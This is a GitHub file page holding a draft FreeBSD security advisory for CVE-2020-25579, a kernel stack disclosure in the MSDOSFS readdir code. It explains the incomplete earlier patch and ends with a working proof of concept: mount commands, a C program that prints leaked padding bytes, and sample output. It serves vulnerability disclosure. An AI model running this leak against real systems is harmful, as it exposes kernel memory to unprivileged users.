-
Notifications
You must be signed in to change notification settings - Fork 38
Expand file tree
/
Copy pathCVE-2020-25579.txt
More file actions
226 lines (180 loc) · 7.63 KB
/
CVE-2020-25579.txt
File metadata and controls
226 lines (180 loc) · 7.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
=============================================================================
FreeBSD-SA-ADVISORY_TEMPLATE Security Advisory
The FreeBSD Project
Topic: Kernel stack disclosure in MSDOSFS
Category: core
Module: Kernel
Announced: 2020-XX-XX
Credits: Syed Faraz Abrar of elttam
Affects: All supported versions of FreeBSD
Corrected: 2020-XX-XX XX:XX:XX UTC (stable/12, 12.2-STABLE)
2020-XX-XX XX:XX:XX UTC (releng/12.2, 12.2-RELEASE-pXX)
2020-XX-XX XX:XX:XX UTC (releng/12.1, 12.1-RELEASE-pXX)
2020-XX-XX XX:XX:XX UTC (stable/11, 11.4-STABLE)
2020-XX-XX XX:XX:XX UTC (releng/11.4, 11.4-RELEASE-pXX)
CVE Name: CVE-XXXX-XXXX
For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit <URL:https://security.FreeBSD.org/>.
I. Background
There exists an implementation of the Microsoft Disk Operating System File
System (MSDOSFS) in the FreeBSD kernel that is used whenever a compatible
MSDOSFS is mounted (for example, a USB drive with a FAT32 file system is
inserted into and mounted on a machine running FreeBSD).
II. Problem Description
A bug causes up to three bytes of uninitialized kernel stack memory to be
returned to userland as uninitialized directory entry padding. This data can be
viewed by any user with read access to the directory.
III. Impact
Uninitialized kernel stack memory is disclosed to the userland.
IV. Workaround
No workaround is available, but systems not using MSDOSFS are not affected.
V. Details of the vulnerability
The bug exists in the `msdosfs_readdir` function in all supported versions of
FreeBSD that are currently available. I have only tested on releng/12.1 on
r368257, but the code is the same on the CURRENT version of FreeBSD.
In releng/12.1, r340970 backported a patch for a vulnerability reported by
Thomas Barabosch. This patch fixed a number of instances where the padding bytes
in a `struct dirent` object were leaking uninitialized kernel stack memory to
the userland.
Unfortunately, the patch for the `msdosfs_readdir` function is incomplete, as
shown below (my comments are marked with a `//!!`:
```
static int
msdosfs_readdir(struct vop_readdir_args *ap)
{
// [ ... ]
struct dirent dirbuf; // [ 1 ]
// [ ... ]
// [ ... ]
//!! Initializes just the `d_name` field (last field in the struct)
memset(dirbuf.d_name, 0, sizeof(dirbuf.d_name)); // [ 2 ]
// [ ... ]
/*
* If they are reading from the root directory then, we simulate
* the . and .. entries since these don't exist in the root
* directory. We also set the offset bias to make up for having to
* simulate these entries. By this I mean that at file offset 64 we
* read the first entry in the root directory that lives on disk.
*/
if (dep->de_StartCluster == MSDOSFSROOT
|| (FAT32(pmp) && dep->de_StartCluster == pmp->pm_rootdirblk)) {
// [ ... ]
dirent_terminate(&dirbuf); // [ 3 ]
if (uio->uio_resid < dirbuf.d_reclen)
goto out;
error = uiomove(&dirbuf, dirbuf.d_reclen, uio);
// [ ... ]
}
mbnambuf_init(&nb);
off = offset;
while (uio->uio_resid > 0) {
// [ ... ]
for (dentp = (struct direntry *)(bp->b_data + on);
(char *)dentp < bp->b_data + on + n;
dentp++, offset += sizeof(struct direntry)) {
// [ ... ]
//!! `dirbuf` is returned to user-space without being
//!! fully initialized here
error = uiomove(&dirbuf, dirbuf.d_reclen, uio); // [ 4 ]
// [ ... ]
}
brelse(bp);
}
// [ ... ]
}
```
Initially, a `struct dirent dirbuf` object is allocated on the stack at `[ 1 ]`.
Following this, its `d_name` field is zeroed out at `[ 2 ]` (which is good, as
otherwise the bug would have leaked a lot more memory.
The patch that was backported correctly fixed one instance of this bug in the
first if statement. The if statement branch is only taken if `readdir` is called
on the root of the MSDOS file system. Within this branch, a call to
`dirent_terminate` has been added at `[ 3 ]` which will zero out the padding
bytes and the remainder of the `d_name` field. Note that the `uiomove` function
will copy out the `struct dirent dirbuf` object's data back to the userland.
Unfortunately, the patch failed to account for a second instance of `uiomove`
that occurs after the if statement at `[ 4 ]`.
We can easily bypass the if statement by calling `readdir` from any other part
of the MSDOS file system except the root. By doing so, when the `struct dirent
dirbuf` object's data is copied out to the userland, the padding bytes will leak
three bytes of uninitialized kernel stack memory.
The `dirent` structure can be seen below:
```
struct dirent {
ino_t d_fileno; /* file number of entry */
off_t d_off; /* directory offset of entry */
__uint16_t d_reclen; /* length of this record */
__uint8_t d_type; /* file type, see below */
__uint8_t d_pad0;
__uint16_t d_namlen; /* length of string in d_name */
__uint16_t d_pad1;
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN + 1]; /* name must be no longer than this */
#else
char d_name[255 + 1]; /* name must be no longer than this */
#endif
};
```
VI. Proof of Concept
First, a compatible MSDOS file system needs to be mounted. Note that the
following steps to mount an MSDOS file system will require root privileges, but
the vulnerability itself can be triggered by any user. A system may already have
an MSDOS file system mounted, or it might support auto mounting of external
drives that are formatted to use an MSDOS file system.
The following commands will mount an MSDOS file system in the current directory,
and then create a directory called `test_dir` within the mounted file system:
```
$ dd if=/dev/zero of=test.img bs=512 count=256000
$ sudo mdconfig -a -t vnode -f test.img # Returns md0
$ sudo newfs_msdos -s 131072000 /dev/md0
$ mkdir ./temp
$ sudo mount -t msdosfs /dev/md0 ./temp
$ mkdir ./temp/test_dir
```
Then, the proof of concept code below will demonstrate the vulnerability. Simply
compile with `clang poc.c`, and run with `./a.out` from the same directory as
the mounted file system:
```
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct dirent *dp;
DIR *dirp;
while (1) {
dirp = opendir("./temp/test_dir");
if (dirp == NULL) {
perror("opendir");
exit(1);
}
dp = readdir(dirp);
if (dp->d_pad0 != 0 && dp->d_pad1 != 0) {
printf("Leaked bytes:\n");
printf("%x\n", dp->d_pad0); // Uninitialized
printf("%x\n", dp->d_pad1); // Uninitialized
}
(void)closedir(dirp);
}
}
```
Output:
```
$ ./a.out
Leaked bytes:
80
8077
Leaked bytes:
81
ffff
Leaked bytes:
5
ffff
Leaked bytes:
81
ffff
Leaked bytes:
a3
ffff
```